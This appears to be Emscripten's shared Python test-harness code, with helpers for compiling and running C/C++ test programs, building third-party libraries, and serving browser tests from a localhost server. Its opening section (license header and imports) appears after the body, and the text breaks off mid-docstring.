# Shared test code between main suite and others
def expect_fail(self, cmd, **args):
"""Run a subprocess and assert that it returns non-zero.
Return the stderr of the subprocess.
"""
proc = self.run_process(cmd, check=False, stderr=PIPE, **args)
self.assertNotEqual(proc.returncode, 0, 'subprocess unexpectedly succeeded. stderr:\n' + proc.stderr)
# When we check for failure we expect a user-visible error, not a traceback.
# However, on windows a python traceback can happen randomly sometimes,
# due to "Access is denied" https://github.com/emscripten-core/emscripten/issues/718
if not WINDOWS or 'Access is denied' not in proc.stderr:
self.assertNotContained('Traceback', proc.stderr)
return proc.stderr
# excercise dynamic linker.
#
# test that linking to shared library B, which is linked to A, loads A as well.
# main is also linked to C, which is also linked to A. A is loaded/initialized only once.
#
# B
# main < > A
# C
#
# this test is used by both test_core and test_browser.
# when run under broswer it excercises how dynamic linker handles concurrency
# - because B and C are loaded in parallel.
def _test_dylink_dso_needed(self, do_run):
create_file('liba.cpp', r'''
#include <stdio.h>
#include <emscripten.h>
static const char *afunc_prev;
extern "C" {
EMSCRIPTEN_KEEPALIVE void afunc(const char *s);
}
void afunc(const char *s) {
printf("a: %s (prev: %s)\n", s, afunc_prev);
afunc_prev = s;
}
struct ainit {
ainit() {
puts("a: loaded");
}
};
static ainit _;
''')
create_file('libb.c', r'''
#include <emscripten.h>
void afunc(const char *s);
EMSCRIPTEN_KEEPALIVE void bfunc() {
afunc("b");
}
''')
create_file('libc.c', r'''
#include <emscripten.h>
void afunc(const char *s);
EMSCRIPTEN_KEEPALIVE void cfunc() {
afunc("c");
}
''')
# _test_dylink_dso_needed can be potentially called several times by a test.
# reset dylink-related options first.
self.clear_setting('MAIN_MODULE')
self.clear_setting('SIDE_MODULE')
# XXX in wasm each lib load currently takes 5MB; default INITIAL_MEMORY=16MB is thus not enough
self.set_setting('INITIAL_MEMORY', '32mb')
so = '.wasm' if self.is_wasm() else '.js'
def ccshared(src, linkto=[]):
cmdv = [EMCC, src, '-o', shared.unsuffixed(src) + so, '-s', 'SIDE_MODULE'] + self.get_emcc_args()
cmdv += linkto
self.run_process(cmdv)
ccshared('liba.cpp')
ccshared('libb.c', ['liba' + so])
ccshared('libc.c', ['liba' + so])
self.set_setting('MAIN_MODULE')
extra_args = ['-L.', 'libb' + so, 'libc' + so]
do_run(r'''
#ifdef __cplusplus
extern "C" {
#endif
void bfunc();
void cfunc();
#ifdef __cplusplus
}
#endif
int test_main() {
bfunc();
cfunc();
return 0;
}
''',
'a: loaded\na: b (prev: (null))\na: c (prev: b)\n', emcc_args=extra_args)
for libname in ['liba', 'libb', 'libc']:
self.emcc_args += ['--embed-file', libname + so]
do_run(r'''
#include <assert.h>
#include <dlfcn.h>
#include <stddef.h>
int test_main() {
void *bdso, *cdso;
void (*bfunc_ptr)(), (*cfunc_ptr)();
// FIXME for RTLD_LOCAL binding symbols to loaded lib is not currently working
bdso = dlopen("libb%(so)s", RTLD_NOW|RTLD_GLOBAL);
assert(bdso != NULL);
cdso = dlopen("libc%(so)s", RTLD_NOW|RTLD_GLOBAL);
assert(cdso != NULL);
bfunc_ptr = (void (*)())dlsym(bdso, "bfunc");
assert(bfunc_ptr != NULL);
cfunc_ptr = (void (*)())dlsym(cdso, "cfunc");
assert(cfunc_ptr != NULL);
bfunc_ptr();
cfunc_ptr();
return 0;
}
''' % locals(),
'a: loaded\na: b (prev: (null))\na: c (prev: b)\n')
def filtered_js_engines(self, js_engines=None):
if js_engines is None:
js_engines = self.js_engines
for engine in js_engines:
assert engine in config.JS_ENGINES, "js engine does not exist in config.JS_ENGINES"
assert type(engine) == list
for engine in self.banned_js_engines:
assert type(engine) in (list, type(None))
banned = [b[0] for b in self.banned_js_engines if b]
return [engine for engine in js_engines if engine and engine[0] not in banned]
def do_run(self, src, expected_output, force_c=False, **kwargs):
if 'no_build' in kwargs:
filename = src
else:
if force_c:
filename = 'src.c'
else:
filename = 'src.cpp'
with open(filename, 'w') as f:
f.write(src)
self._build_and_run(filename, expected_output, **kwargs)
def do_runf(self, filename, expected_output=None, **kwargs):
self._build_and_run(filename, expected_output, **kwargs)
## Just like `do_run` but with filename of expected output
def do_run_from_file(self, filename, expected_output_filename, **kwargs):
self._build_and_run(filename, read_file(expected_output_filename), **kwargs)
def do_run_in_out_file_test(self, *path, **kwargs):
srcfile = test_file(*path)
out_suffix = kwargs.pop('out_suffix', '')
outfile = shared.unsuffixed(srcfile) + out_suffix + '.out'
expected = read_file(outfile)
self._build_and_run(srcfile, expected, **kwargs)
## Does a complete test - builds, runs, checks output, etc.
def _build_and_run(self, filename, expected_output, args=[], output_nicerizer=None,
no_build=False,
js_engines=None, libraries=[],
includes=[],
assert_returncode=0, assert_identical=False, assert_all=False,
check_for_error=True, force_c=False, emcc_args=[]):
logger.debug(f'_build_and_run: {filename}')
if no_build:
js_file = filename
else:
self.build(filename, libraries=libraries, includes=includes,
force_c=force_c, emcc_args=emcc_args)
js_file = shared.unsuffixed(os.path.basename(filename)) + '.js'
self.assertExists(js_file)
engines = self.filtered_js_engines(js_engines)
if len(engines) > 1 and not self.use_all_engines:
engines = engines[:1]
# In standalone mode, also add wasm vms as we should be able to run there too.
if self.get_setting('STANDALONE_WASM'):
# TODO once standalone wasm support is more stable, apply use_all_engines
# like with js engines, but for now as we bring it up, test in all of them
if not self.wasm_engines:
logger.warning('no wasm engine was found to run the standalone part of this test')
engines += self.wasm_engines
if self.get_setting('WASM2C') and not EMTEST_LACKS_NATIVE_CLANG:
# compile the c file to a native executable.
c = shared.unsuffixed(js_file) + '.wasm.c'
executable = shared.unsuffixed(js_file) + '.exe'
cmd = [shared.CLANG_CC, c, '-o', executable] + clang_native.get_clang_native_args()
self.run_process(cmd, env=clang_native.get_clang_native_env())
# we can now run the executable directly, without an engine, which
# we indicate with None as the engine
engines += [[None]]
if len(engines) == 0:
self.skipTest('No JS engine present to run this test with. Check %s and the paths therein.' % config.EM_CONFIG)
for engine in engines:
js_output = self.run_js(js_file, engine, args, output_nicerizer=output_nicerizer, assert_returncode=assert_returncode)
js_output = js_output.replace('\r\n', '\n')
if expected_output:
try:
if assert_identical:
self.assertIdentical(expected_output, js_output)
elif assert_all:
for o in expected_output:
self.assertContained(o, js_output)
else:
self.assertContained(expected_output, js_output)
if check_for_error:
self.assertNotContained('ERROR', js_output)
except Exception:
print('(test did not pass in JS engine: %s)' % engine)
raise
def get_freetype_library(self):
if '-Werror' in self.emcc_args:
self.emcc_args.remove('-Werror')
return self.get_library(os.path.join('third_party', 'freetype'), os.path.join('objs', '.libs', 'libfreetype.a'), configure_args=['--disable-shared', '--without-zlib'])
def get_poppler_library(self, env_init=None):
# The fontconfig symbols are all missing from the poppler build
# e.g. FcConfigSubstitute
self.set_setting('ERROR_ON_UNDEFINED_SYMBOLS', 0)
self.emcc_args += [
'-I' + test_file('third_party/freetype/include'),
'-I' + test_file('third_party/poppler/include')
]
freetype = self.get_freetype_library()
# Poppler has some pretty glaring warning. Suppress them to keep the
# test output readable.
if '-Werror' in self.emcc_args:
self.emcc_args.remove('-Werror')
self.emcc_args += [
'-Wno-sentinel',
'-Wno-logical-not-parentheses',
'-Wno-unused-private-field',
'-Wno-tautological-compare',
'-Wno-unknown-pragmas',
]
env_init = env_init.copy() if env_init else {}
env_init['FONTCONFIG_CFLAGS'] = ' '
env_init['FONTCONFIG_LIBS'] = ' '
poppler = self.get_library(
os.path.join('third_party', 'poppler'),
[os.path.join('utils', 'pdftoppm.o'), os.path.join('utils', 'parseargs.o'), os.path.join('poppler', '.libs', 'libpoppler.a')],
env_init=env_init,
configure_args=['--disable-libjpeg', '--disable-libpng', '--disable-poppler-qt', '--disable-poppler-qt4', '--disable-cms', '--disable-cairo-output', '--disable-abiword-output', '--disable-shared'])
return poppler + freetype
def get_zlib_library(self):
if WINDOWS:
return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'),
configure=['cmake', '.'],
make=['cmake', '--build', '.'],
make_args=[])
return self.get_library(os.path.join('third_party', 'zlib'), os.path.join('libz.a'), make_args=['libz.a'])
# Run a server and a web page. When a test runs, we tell the server about it,
# which tells the web page, which then opens a window with the test. Doing
# it this way then allows the page to close() itself when done.
def harness_server_func(in_queue, out_queue, port):
class TestServerHandler(SimpleHTTPRequestHandler):
# Request header handler for default do_GET() path in
# SimpleHTTPRequestHandler.do_GET(self) below.
def send_head(self):
if self.path.endswith('.js'):
path = self.translate_path(self.path)
try:
f = open(path, 'rb')
except IOError:
self.send_error(404, "File not found: " + path)
return None
self.send_response(200)
self.send_header('Content-type', 'application/javascript')
self.send_header('Connection', 'close')
self.end_headers()
return f
else:
return SimpleHTTPRequestHandler.send_head(self)
# Add COOP, COEP, CORP, and no-caching headers
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Cross-Origin-Opener-Policy', 'same-origin')
self.send_header('Cross-Origin-Embedder-Policy', 'require-corp')
self.send_header('Cross-Origin-Resource-Policy', 'cross-origin')
self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate')
return SimpleHTTPRequestHandler.end_headers(self)
def do_GET(self):
if self.path == '/run_harness':
if DEBUG:
print('[server startup]')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(read_binary(test_file('browser_harness.html')))
elif 'report_' in self.path:
# the test is reporting its result. first change dir away from the
# test dir, as it will be deleted now that the test is finishing, and
# if we got a ping at that time, we'd return an error
os.chdir(path_from_root())
# for debugging, tests may encode the result and their own url (window.location) as result|url
if '|' in self.path:
path, url = self.path.split('|', 1)
else:
path = self.path
url = '?'
if DEBUG:
print('[server response:', path, url, ']')
if out_queue.empty():
out_queue.put(path)
else:
# a badly-behaving test may send multiple xhrs with reported results; we just care
# about the first (if we queued the others, they might be read as responses for
# later tests, or maybe the test sends more than one in a racy manner).
# we place 'None' in the queue here so that the outside knows something went wrong
# (none is not a valid value otherwise; and we need the outside to know because if we
# raise an error in here, it is just swallowed in python's webserver code - we want
# the test to actually fail, which a webserver response can't do).
out_queue.put(None)
raise Exception('browser harness error, excessive response to server - test must be fixed! "%s"' % self.path)
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header('Cache-Control', 'no-cache, must-revalidate')
self.send_header('Connection', 'close')
self.send_header('Expires', '-1')
self.end_headers()
self.wfile.write(b'OK')
elif 'stdout=' in self.path or 'stderr=' in self.path or 'exception=' in self.path:
'''
To get logging to the console from browser tests, add this to
print/printErr/the exception handler in src/shell.html:
var xhr = new XMLHttpRequest();
xhr.open('GET', encodeURI('http://localhost:8888?stdout=' + text));
xhr.send();
'''
print('[client logging:', unquote_plus(self.path), ']')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
elif self.path == '/check':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
if not in_queue.empty():
# there is a new test ready to be served
url, dir = in_queue.get()
if DEBUG:
print('[queue command:', url, dir, ']')
assert in_queue.empty(), 'should not be any blockage - one test runs at a time'
assert out_queue.empty(), 'the single response from the last test was read'
# tell the browser to load the test
self.wfile.write(b'COMMAND:' + url.encode('utf-8'))
# move us to the right place to serve the files for the new test
os.chdir(dir)
else:
# the browser must keep polling
self.wfile.write(b'(wait)')
else:
# Use SimpleHTTPServer default file serving operation for GET.
if DEBUG:
print('[simple HTTP serving:', unquote_plus(self.path), ']')
SimpleHTTPRequestHandler.do_GET(self)
def log_request(code=0, size=0):
# don't log; too noisy
pass
# allows streaming compilation to work
SimpleHTTPRequestHandler.extensions_map['.wasm'] = 'application/wasm'
httpd = HTTPServer(('localhost', port), TestServerHandler)
httpd.serve_forever() # test runner will kill us
class Reporting(Enum):
"""When running browser tests we normally automatically include support
code for reporting results back to the browser. This enum allows tests
to decide what type of support code they need/want.
"""
NONE = 0
# Include the JS helpers for reporting results
JS_ONLY = 1
# Include C/C++ reporting code (REPORT_RESULT mactros) as well as JS helpers
FULL = 2
class BrowserCore(RunnerCore):
# note how many tests hang / do not send an output. if many of these
# happen, likely something is broken and it is best to abort the test
# suite early, as otherwise we will wait for the timeout on every
# single test (hundreds of minutes)
MAX_UNRESPONSIVE_TESTS = 10
unresponsive_tests = 0
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
@staticmethod
def browser_open(url):
if not EMTEST_BROWSER:
logger.info('Using default system browser')
webbrowser.open_new(url)
return
browser_args = shlex.split(EMTEST_BROWSER)
# If the given browser is a scalar, treat it like one of the possible types
# from https://docs.python.org/2/library/webbrowser.html
if len(browser_args) == 1:
try:
# This throws if the type of browser isn't available
webbrowser.get(browser_args[0]).open_new(url)
logger.info('Using Emscripten browser: %s', browser_args[0])
return
except webbrowser.Error:
# Ignore the exception and fallback to the custom command logic
pass
# Else assume the given browser is a specific program with additional
# parameters and delegate to that
logger.info('Using Emscripten browser: %s', str(browser_args))
subprocess.Popen(browser_args + [url])
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.also_asmjs = int(os.getenv('EMTEST_BROWSER_ALSO_ASMJS', '0')) == 1
cls.port = int(os.getenv('EMTEST_BROWSER_PORT', '8888'))
if not has_browser():
return
cls.browser_timeout = 60
cls.harness_in_queue = multiprocessing.Queue()
cls.harness_out_queue = multiprocessing.Queue()
cls.harness_server = multiprocessing.Process(target=harness_server_func, args=(cls.harness_in_queue, cls.harness_out_queue, cls.port))
cls.harness_server.start()
print('[Browser harness server on process %d]' % cls.harness_server.pid)
cls.browser_open('http://localhost:%s/run_harness' % cls.port)
@classmethod
def tearDownClass(cls):
super().tearDownClass()
if not has_browser():
return
cls.harness_server.terminate()
print('[Browser harness server terminated]')
if WINDOWS:
# On Windows, shutil.rmtree() in tearDown() raises this exception if we do not wait a bit:
# WindowsError: [Error 32] The process cannot access the file because it is being used by another process.
time.sleep(0.1)
def assert_out_queue_empty(self, who):
if not self.harness_out_queue.empty():
while not self.harness_out_queue.empty():
self.harness_out_queue.get()
raise Exception('excessive responses from %s' % who)
# @param extra_tries: how many more times to try this test, if it fails. browser tests have
# many more causes of flakiness (in particular, they do not run
# synchronously, so we have a timeout, which can be hit if the VM
# we run on stalls temporarily), so we let each test try more than
# once by default
def run_browser(self, html_file, message, expectedResult=None, timeout=None, extra_tries=1):
if not has_browser():
return
if BrowserCore.unresponsive_tests >= BrowserCore.MAX_UNRESPONSIVE_TESTS:
self.skipTest('too many unresponsive tests, skipping browser launch - check your setup!')
self.assert_out_queue_empty('previous test')
if DEBUG:
print('[browser launch:', html_file, ']')
if expectedResult is not None:
try:
self.harness_in_queue.put((
'http://localhost:%s/%s' % (self.port, html_file),
self.get_dir()
))
received_output = False
output = '[no http server activity]'
start = time.time()
if timeout is None:
timeout = self.browser_timeout
while time.time() - start < timeout:
if not self.harness_out_queue.empty():
output = self.harness_out_queue.get()
received_output = True
break
time.sleep(0.1)
if not received_output:
BrowserCore.unresponsive_tests += 1
print('[unresponsive tests: %d]' % BrowserCore.unresponsive_tests)
if output is None:
# the browser harness reported an error already, and sent a None to tell
# us to also fail the test
raise Exception('failing test due to browser harness error')
if output.startswith('/report_result?skipped:'):
self.skipTest(unquote(output[len('/report_result?skipped:'):]).strip())
else:
# verify the result, and try again if we should do so
output = unquote(output)
try:
self.assertContained(expectedResult, output)
except Exception as e:
if extra_tries > 0:
print('[test error (see below), automatically retrying]')
print(e)
return self.run_browser(html_file, message, expectedResult, timeout, extra_tries - 1)
else:
raise e
finally:
time.sleep(0.1) # see comment about Windows above
self.assert_out_queue_empty('this test')
else:
webbrowser.open_new(os.path.abspath(html_file))
print('A web browser window should have opened a page containing the results of a part of this test.')
print('You need to manually look at the page to see that it works ok: ' + message)
print('(sleeping for a bit to keep the directory alive for the web browser..)')
time.sleep(5)
print('(moving on..)')
# @manually_trigger If set, we do not assume we should run the reftest when main() is done.
# Instead, call doReftest() in JS yourself at the right time.
def reftest(self, expected, manually_trigger=False):
# make sure the pngs used here have no color correction, using e.g.
# pngcrush -rem gAMA -rem cHRM -rem iCCP -rem sRGB infile outfile
basename = os.path.basename(expected)
shutil.copyfile(expected, os.path.join(self.get_dir(), basename))
reporting = read_file(test_file('browser_reporting.js'))
with open('reftest.js', 'w') as out:
out.write('''
function doReftest() {
if (doReftest.done) return;
doReftest.done = true;
var img = new Image();
img.onload = function() {
assert(img.width == Module.canvas.width, 'Invalid width: ' + Module.canvas.width + ', should be ' + img.width);
assert(img.height == Module.canvas.height, 'Invalid height: ' + Module.canvas.height + ', should be ' + img.height);
var canvas = document.createElement('canvas');
canvas.width = img.width;
canvas.height = img.height;
var ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0);
var expected = ctx.getImageData(0, 0, img.width, img.height).data;
var actualUrl = Module.canvas.toDataURL();
var actualImage = new Image();
actualImage.onload = function() {
/*
document.body.appendChild(img); // for comparisons
var div = document.createElement('div');
div.innerHTML = '^=expected, v=actual';
document.body.appendChild(div);
document.body.appendChild(actualImage); // to grab it for creating the test reference
*/
var actualCanvas = document.createElement('canvas');
actualCanvas.width = actualImage.width;
actualCanvas.height = actualImage.height;
var actualCtx = actualCanvas.getContext('2d');
actualCtx.drawImage(actualImage, 0, 0);
var actual = actualCtx.getImageData(0, 0, actualImage.width, actualImage.height).data;
var total = 0;
var width = img.width;
var height = img.height;
for (var x = 0; x < width; x++) {
for (var y = 0; y < height; y++) {
total += Math.abs(expected[y*width*4 + x*4 + 0] - actual[y*width*4 + x*4 + 0]);
total += Math.abs(expected[y*width*4 + x*4 + 1] - actual[y*width*4 + x*4 + 1]);
total += Math.abs(expected[y*width*4 + x*4 + 2] - actual[y*width*4 + x*4 + 2]);
}
}
var wrong = Math.floor(total / (img.width*img.height*3)); // floor, to allow some margin of error for antialiasing
// If the main JS file is in a worker, or modularize, then we need to supply our own reporting logic.
if (typeof reportResultToServer === 'undefined') {
(function() {
%s
reportResultToServer(wrong);
})();
} else {
reportResultToServer(wrong);
}
};
actualImage.src = actualUrl;
}
img.src = '%s';
};
// Automatically trigger the reftest?
if (!%s) {
// Yes, automatically
Module['postRun'] = doReftest;
if (typeof WebGLClient !== 'undefined') {
// trigger reftest from RAF as well, needed for workers where there is no pre|postRun on the main thread
var realRAF = window.requestAnimationFrame;
window.requestAnimationFrame = /** @suppress{checkTypes} */ (function(func) {
realRAF(function() {
func();
realRAF(doReftest);
});
});
// trigger reftest from canvas render too, for workers not doing GL
var realWOM = worker.onmessage;
worker.onmessage = function(event) {
realWOM(event);
if (event.data.target === 'canvas' && event.data.op === 'render') {
realRAF(doReftest);
}
};
}
} else {
// Manually trigger the reftest.
// The user will call it.
// Add an event loop iteration to ensure rendering, so users don't need to bother.
var realDoReftest = doReftest;
doReftest = function() {
setTimeout(realDoReftest, 1);
};
}
''' % (reporting, basename, int(manually_trigger)))
def compile_btest(self, args, reporting=Reporting.FULL):
# Inject support code for reporting results. This adds an include a header so testcases can
# use REPORT_RESULT, and also adds a cpp file to be compiled alongside the testcase, which
# contains the implementation of REPORT_RESULT (we can't just include that implementation in
# the header as there may be multiple files being compiled here).
args += ['-s', 'IN_TEST_HARNESS']
if reporting != Reporting.NONE:
# For basic reporting we inject JS helper funtions to report result back to server.
args += ['-DEMTEST_PORT_NUMBER=%d' % self.port,
'--pre-js', test_file('browser_reporting.js')]
if reporting == Reporting.FULL:
# If C reporting (i.e. REPORT_RESULT macro) is required
# also compile in report_result.cpp and forice-include report_result.h
args += ['-I' + TEST_ROOT,
'-include', test_file('report_result.h'),
test_file('report_result.cpp')]
self.run_process([EMCC] + self.get_emcc_args() + args)
def btest_exit(self, filename, assert_returncode=0, *args, **kwargs):
"""Special case of btest that reports its result solely via exiting
with a give result code.
In this case we set EXIT_RUNTIME and we don't need to provide the
REPORT_RESULT macro to the C code.
"""
self.set_setting('EXIT_RUNTIME')
kwargs['reporting'] = Reporting.JS_ONLY
kwargs['expected'] = 'exit:%d' % assert_returncode
return self.btest(filename, *args, **kwargs)
def btest(self, filename, expected=None, reference=None,
reference_slack=0, manual_reference=False, post_build=None,
args=None, message='.', also_proxied=False,
url_suffix='', timeout=None, also_asmjs=False,
manually_trigger_reftest=False, extra_tries=1,
reporting=Reporting.FULL):
assert expected or reference, 'a btest must either expect an output, or have a reference image'
if args is None:
args = []
original_args = args.copy()
if not os.path.exists(filename):
filename = test_file(filename)
if reference:
self.reference = reference
expected = [str(i) for i in range(0, reference_slack + 1)]
self.reftest(test_file(reference), manually_trigger=manually_trigger_reftest)
if not manual_reference:
args += ['--pre-js', 'reftest.js', '-s', 'GL_TESTING']
outfile = 'test.html'
args += [filename, '-o', outfile]
# print('all args:', args)
try_delete(outfile)
self.compile_btest(args, reporting=reporting)
self.assertExists(outfile)
if post_build:
post_build()
if not isinstance(expected, list):
expected = [expected]
self.run_browser(outfile + url_suffix, message, ['/report_result?' + e for e in expected], timeout=timeout, extra_tries=extra_tries)
# Tests can opt into being run under asmjs as well
if 'WASM=0' not in original_args and (also_asmjs or self.also_asmjs):
print('WASM=0')
self.btest(filename, expected, reference, reference_slack, manual_reference, post_build,
original_args + ['-s', 'WASM=0'], message, also_proxied=False, timeout=timeout)
if also_proxied:
print('proxied...')
if reference:
assert not manual_reference
manual_reference = True
assert not post_build
post_build = self.post_manual_reftest
# run proxied
self.btest(filename, expected, reference, reference_slack, manual_reference, post_build,
original_args + ['--proxy-to-worker', '-s', 'GL_TESTING'], message, timeout=timeout)
###################################################################################################
def build_library(name,
build_dir,
output_dir,
generated_libs,
configure,
make,
make_args=[],
cache=None,
cache_name=None,
env_init={},
native=False):
"""Build a library and cache the result. We build the library file
once and cache it for all our tests. (We cache in memory since the test
directory is destroyed and recreated for each test. Note that we cache
separately for different compilers). This cache is just during the test
runner. There is a different concept of caching as well, see |Cache|.
"""
if type(generated_libs) is not list:
generated_libs = [generated_libs]
source_dir = test_file(name.replace('_native', ''))
project_dir = Path(build_dir, name)
if os.path.exists(project_dir):
shutil.rmtree(project_dir)
# Useful in debugging sometimes to comment this out, and two lines above
shutil.copytree(source_dir, project_dir)
generated_libs = [os.path.join(project_dir, lib) for lib in generated_libs]
if native:
env = clang_native.get_clang_native_env()
else:
env = os.environ.copy()
env.update(env_init)
if not native:
# Inject emcmake, emconfigure or emmake accordingly, but only if we are
# cross compiling.
if configure:
if configure[0] == 'cmake':
configure = [EMCMAKE] + configure
else:
configure = [EMCONFIGURE] + configure
else:
make = [EMMAKE] + make
if configure:
try:
with open(os.path.join(project_dir, 'configure_out'), 'w') as out:
with open(os.path.join(project_dir, 'configure_err'), 'w') as err:
stdout = out if EM_BUILD_VERBOSE < 2 else None
stderr = err if EM_BUILD_VERBOSE < 1 else None
shared.run_process(configure, env=env, stdout=stdout, stderr=stderr,
cwd=project_dir)
except subprocess.CalledProcessError:
print('-- configure stdout --')
print(read_file(Path(project_dir, 'configure_out')))
print('-- end configure stdout --')
print('-- configure stderr --')
print(read_file(Path(project_dir, 'configure_err')))
print('-- end configure stderr --')
raise
# if we run configure or cmake we don't then need any kind
# of special env when we run make below
env = None
def open_make_out(mode='r'):
return open(os.path.join(project_dir, 'make.out'), mode)
def open_make_err(mode='r'):
return open(os.path.join(project_dir, 'make.err'), mode)
if EM_BUILD_VERBOSE >= 3:
make_args += ['VERBOSE=1']
try:
with open_make_out('w') as make_out:
with open_make_err('w') as make_err:
stdout = make_out if EM_BUILD_VERBOSE < 2 else None
stderr = make_err if EM_BUILD_VERBOSE < 1 else None
shared.run_process(make + make_args, stdout=stdout, stderr=stderr, env=env,
cwd=project_dir)
except subprocess.CalledProcessError:
with open_make_out() as f:
print('-- make stdout --')
print(f.read())
print('-- end make stdout --')
with open_make_err() as f:
print('-- make stderr --')
print(f.read())
print('-- end stderr --')
raise
if cache is not None:
cache[cache_name] = []
for f in generated_libs:
basename = os.path.basename(f)
cache[cache_name].append((basename, read_binary(f)))
return generated_libs
| # Copyright 2021 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
from enum import Enum
from functools import wraps
from pathlib import Path
from subprocess import PIPE, STDOUT
from urllib.parse import unquote, unquote_plus
from http.server import HTTPServer, SimpleHTTPRequestHandler
import contextlib
import difflib
import hashlib
import logging
import multiprocessing
import os
import shlex
import shutil
import stat
import string
import subprocess
import sys
import tempfile
import time
import webbrowser
import unittest
import clang_native
import jsrun
from jsrun import NON_ZERO
from tools.shared import TEMP_DIR, EMCC, EMXX, DEBUG, EMCONFIGURE, EMCMAKE
from tools.shared import EMSCRIPTEN_TEMP_DIR
from tools.shared import EM_BUILD_VERBOSE
from tools.shared import get_canonical_temp_dir, try_delete, path_from_root
from tools.utils import MACOS, WINDOWS
from tools import shared, line_endings, building, config
logger = logging.getLogger('common')
# User can specify an environment variable EMTEST_BROWSER to force the browser
# test suite to run using another browser command line than the default system
# browser. Setting '0' as the browser disables running a browser (but we still
# see tests compile)
EMTEST_BROWSER = None
EMTEST_DETECT_TEMPFILE_LEAKS = None
EMTEST_SAVE_DIR = None
# generally js engines are equivalent, testing 1 is enough. set this
# to force testing on all js engines, good to find js engine bugs
EMTEST_ALL_ENGINES = None
EMTEST_SKIP_SLOW = None
EMTEST_LACKS_NATIVE_CLANG = None
EMTEST_VERBOSE = None
EMTEST_REBASELINE = None
TEST_ROOT = path_from_root('tests')
WEBIDL_BINDER = shared.bat_suffix(path_from_root('tools/webidl_binder'))
EMBUILDER = shared.bat_suffix(path_from_root('embuilder'))
EMMAKE = shared.bat_suffix(path_from_root('emmake'))
def delete_contents(pathname):
for entry in os.listdir(pathname):
try_delete(os.path.join(pathname, entry))
def test_file(*path_components):
"""Construct a path relative to the emscripten "tests" directory."""
return str(Path(TEST_ROOT, *path_components))
def read_file(*path_components):
return Path(*path_components).read_text()
def read_binary(*path_components):
return Path(*path_components).read_bytes()
# checks if browser testing is enabled
def has_browser():
return EMTEST_BROWSER != '0'
def compiler_for(filename, force_c=False):
if shared.suffix(filename) in ('.cc', '.cxx', '.cpp') and not force_c:
return EMXX
else:
return EMCC
# Generic decorator that calls a function named 'condition' on the test class and
# skips the test if that function returns true
def skip_if(func, condition, explanation='', negate=False):
assert callable(func)
explanation_str = ' : %s' % explanation if explanation else ''
@wraps(func)
def decorated(self, *args, **kwargs):
choice = self.__getattribute__(condition)()
if negate:
choice = not choice
if choice:
self.skipTest(condition + explanation_str)
func(self, *args, **kwargs)
return decorated
def needs_dylink(func):
assert callable(func)
@wraps(func)
def decorated(self):
self.check_dylink()
return func(self)
return decorated
def is_slow_test(func):
assert callable(func)
@wraps(func)
def decorated(self, *args, **kwargs):
if EMTEST_SKIP_SLOW:
return self.skipTest('skipping slow tests')
return func(self, *args, **kwargs)
return decorated
def disabled(note=''):
assert not callable(note)
return unittest.skip(note)
def no_mac(note=''):
assert not callable(note)
if MACOS:
return unittest.skip(note)
return lambda f: f
def no_windows(note=''):
assert not callable(note)
if WINDOWS:
return unittest.skip(note)
return lambda f: f
def requires_native_clang(func):
assert callable(func)
def decorated(self, *args, **kwargs):
if EMTEST_LACKS_NATIVE_CLANG:
return self.skipTest('native clang tests are disabled')
return func(self, *args, **kwargs)
return decorated
def require_node(func):
assert callable(func)
def decorated(self, *args, **kwargs):
self.require_node()
return func(self, *args, **kwargs)
return decorated
def require_v8(func):
assert callable(func)
def decorated(self, *args, **kwargs):
self.require_v8()
return func(self, *args, **kwargs)
return decorated
def node_pthreads(f):
def decorated(self):
self.set_setting('USE_PTHREADS')
self.emcc_args += ['-Wno-pthreads-mem-growth']
if self.get_setting('MINIMAL_RUNTIME'):
self.skipTest('node pthreads not yet supported with MINIMAL_RUNTIME')
self.js_engines = [config.NODE_JS]
self.node_args += ['--experimental-wasm-threads', '--experimental-wasm-bulk-memory']
f(self)
return decorated
@contextlib.contextmanager
def env_modify(updates):
"""A context manager that updates os.environ."""
# This could also be done with mock.patch.dict() but taking a dependency
# on the mock library is probably not worth the benefit.
old_env = os.environ.copy()
print("env_modify: " + str(updates))
# Seting a value to None means clear the environment variable
clears = [key for key, value in updates.items() if value is None]
updates = {key: value for key, value in updates.items() if value is not None}
os.environ.update(updates)
for key in clears:
if key in os.environ:
del os.environ[key]
try:
yield
finally:
os.environ.clear()
os.environ.update(old_env)
# Decorator version of env_modify
def with_env_modify(updates):
def decorated(f):
def modified(self):
with env_modify(updates):
return f(self)
return modified
return decorated
def ensure_dir(dirname):
dirname = Path(dirname)
dirname.mkdir(parents=True, exist_ok=True)
def limit_size(string, maxbytes=800000 * 20, maxlines=100000, max_line=5000):
lines = string.splitlines()
for i, line in enumerate(lines):
if len(line) > max_line:
lines[i] = line[:max_line] + '[..]'
if len(lines) > maxlines:
lines = lines[0:maxlines // 2] + ['[..]'] + lines[-maxlines // 2:]
string = '\n'.join(lines) + '\n'
if len(string) > maxbytes:
string = string[0:maxbytes // 2] + '\n[..]\n' + string[-maxbytes // 2:]
return string
def create_file(name, contents, binary=False):
name = Path(name)
assert not name.is_absolute()
if binary:
name.write_bytes(contents)
else:
name.write_text(contents)
def make_executable(name):
Path(name).chmod(stat.S_IREAD | stat.S_IWRITE | stat.S_IEXEC)
def parameterized(parameters):
"""
Mark a test as parameterized.
Usage:
@parameterized({
'subtest1': (1, 2, 3),
'subtest2': (4, 5, 6),
})
def test_something(self, a, b, c):
... # actual test body
This is equivalent to defining two tests:
def test_something_subtest1(self):
# runs test_something(1, 2, 3)
def test_something_subtest2(self):
# runs test_something(4, 5, 6)
"""
def decorator(func):
func._parameterize = parameters
return func
return decorator
class RunnerMeta(type):
@classmethod
def make_test(mcs, name, func, suffix, args):
"""
This is a helper function to create new test functions for each parameterized form.
:param name: the original name of the function
:param func: the original function that we are parameterizing
:param suffix: the suffix to append to the name of the function for this parameterization
:param args: the positional arguments to pass to the original function for this parameterization
:returns: a tuple of (new_function_name, new_function_object)
"""
